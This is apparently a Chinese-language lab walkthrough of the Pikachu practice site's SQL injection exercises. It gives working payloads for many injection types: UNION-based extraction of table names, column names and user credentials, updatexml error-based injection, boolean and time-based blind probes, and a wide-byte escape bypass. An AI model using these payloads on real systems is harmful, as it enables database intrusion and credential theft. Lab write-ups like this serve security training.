1数字型注入(post)
这里,我们首先随便输入选择一个数字,然后用burp suite 抓包,如下图: post传递的数据是:id=1&submit=%E6%9F%A5%E8%AF%A2,接下来方便观看,我使用hackbar进行,也可以直接在BP上进行修改. 1.首先验证是否存在漏洞,这里我们知道是数字型,所以可以直接输入 payload:id=1 or 1=1&submit=%E6%9F%A5%E8%AF% 2.然后就是order by 寻找列数,一般使用二分法去从寻找,这里我直接给出答案是2,下面会有一张错误截图,和正确截图 payload:id=1 order by 5&submit=%E6%9F%A5%E8%AF% 3.然后就是联合查询获取数据,这里获取用户名和数据库名,将id改成不存在,可以避免输出原信息,方便查看 payload:id=-1 union select user(),database()&submit=%E6%9F%A5%E8%AF% 4.拿到数据库名后就开始获取表名了,information_schema是系统自带的数据库,在这个库里会有你其他数据库的表名,列明,大家可以自己进入数据库进行查看 payload:id=-1 union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’&submit=%E6%9F%A5%E8%AF% 5,现在我们在pikachu的库里获取到了五张表httpinfo,member,message,users,xssblind users很明显会存在账号密码等数据,所以我们对这张表进行爆破列明 playload:id=-1 union select column_name,2 from information_schema.columns where table_name = ‘users’ and table_schema = ‘pikachu’&submit=%E6%9F%A5%E8%AF% 6.现在我们拿到了列名,接下来就是爆破数据了,由于只能显示两个数据,所以这里我们获取,username,password payload:union select username,password from users
2.字符型注入(get)
1.get类型会直接显示在url上,所以这个不需要抓包,通过直接观看源代码,我们可以得到是单引号标注 2.payload:vince’ or 1=1# 这里我说明一下原理,正常的数据库执行语句是: select ‘vince’ from 表名,我们输入的payload是替代了vince, select ‘vince’ or 1=1#’ from 表名,这个的意义就是首先vince闭合不变,#将后面的单引号给注释掉,造成执行语句,当然这里也有很多可以进行改变的地方比如:vince’ or ‘1’=‘1 这个也是可以,然后还有注释–,不知道为什么在这里不可以使用 3.在后面的方式其实就和前面一样了,后面我就直接给出payload: 一、vince’ order by 2#order by //获取列数 二、a’ union select user(),database() # //获取数据库名 三、a’ union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’ # //得到表名 四、a’ union select column_name,2 from information_schema.columns where table_name = ‘users’ and table_schema = ‘pikachu’ # //得到列名 五、a’ union select username,password from users# //拿到账号密码
3.搜索型注入
1.搜索型注入其实原理就是前后添加了%,这是sql中模糊搜索的语法,知道原理,其实过程都相差不大,我直接放出payload,不懂得自己研究 一、a%’ and 1=1 # 二、a%’ order by 3 # 这里是3列 三、a%’ union select user(),database(),version()# version()是获取数据库版本 四、a%‘union select table_name,2,3 from information_schema.tables where table_schema = ‘pikachu’# 五、a%’ union select column_name,2,3 from information_schema.columns where table_schema = ‘pikachu’ and table_name = ‘users’ # 六、a%’ union select username,password,3 from users #
4.xx型注入
1.查看源代码可以知道闭合类型是(‘vince’),直接上payload吧 一、vince’) and 1=1# 二、vince’) order by 2 # 三、a’) union select user(),database()# 四、a’) union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’# 五、a’) union select column_name,2 from information_schema.columns where table_schema = ‘pikachu’ and table_name = ‘users’ # 六、a’) union select username,password from users #
5.“insert/update”注入
1.在这里利用的是报错注入的方式,去获取信息.首先我们注册信息,开启BP,抓一个包,拿到post传输的数据然后使用hackbar username=aaa&password=111&sex=&phonenum=&email=&add=&submit=submit 2.payload:username=aaa’ and updatexml(1,concat(0x7e,(select database()),0x7e),3) and ‘’,‘22’,‘33’,‘44’,‘55’,‘66’)# &password=666666&sex=&phonenum=&email=&add=&submit=submit
这个payload看着好像很复杂其实很简单,updatexml大家可以去查这个函数的用法,我推荐一个博客,讲解简单清晰 https://blog.csdn.net/qq_37873738/article/details/88042610 3.使用上个payload可以获取数据库名字,然后是表名
payload:username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema =‘pikachu’),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)# &password=123456&sex=1&phonenum=&email=&add=&submit=submit
这里就是在原有基础上去增加了substr()函数和group_concat()函数, group_concat()是因为只能显示一行,而substr(),则是最多只能显示32个字符,所以当超过32个字符时,只能执行多次,去获取。substr(数据,1,30),1和30,就是从第一个开始显示,显示30个字符,第二次将1改成30,多次循环,就可以获取完整数据了,图片如下: 4.接下来就不做演示,直接上payload
payload:username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name = ‘users’),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#&password=123456&sex=1&phonenum=&email=&add=&submit=submit
payload: username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users ),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#&password=123456&sex=1&phonenum=&email=&add=&submit=submit 5.注册利用的时insert,接下来就是update了,使用注册的账号,登录进去,找到修改信息,同样使用BP抓一个修改信息的包 payload:sex=nv’ and updatexml(1,concat(0x7e,(select database()),0x7e),3) #&phonenum=4&add=5&email=6&submit=submit 接下来的payload,你们自己构建,相信看了这么多,你肯定也会了。
6.delete注入
1.我就提示一下,发表留言,然后删除去抓包,看你们自己了,同样是利用报错注入
7.http header 注入
1.http 头部注入的原理就是当你注册的时候你的UA字段和cookie会被记录,所以使用BP抓住登录的包,进行修改,进而插入
8.盲注(base on boolian)
1.盲注是由于没有回显信息,所以只能通过插入sql语句去进行单个验证,这里我们知道第一个字符是p,对应的ascill码就是112,在这有个小技巧,就是使用BP的爆破功能去进行把爆破,首先可以用lenth()去获取长度,然后再输入ascii码的范围,进行爆破。 payload:vince’ and ascii(substr(database(),1,1))=112#
9.盲注(base on time)
1.基于时间,就是通过响应时间去获取准确的数值,下面给了两种方法, vince’ and sleep(5)# vince’ and if((substr(database(),1,1))=‘p’,sleep(5),null)# vince’ and if(ascii((substr(database(),1,1)))=‘112’,sleep(5),null)# 按F12查看调试器可以去查看响应时间
10.宽字节注入
宽字节注入就是单引号被转义了,所以需要通过加入其他符号,让其转义没有意义,不知道为什么用hackbar没用,用BP直接修改就可以 payload:name=kobe %df’ or 1=1# 后续的payload自己构建。
sql注入就全部完成了
|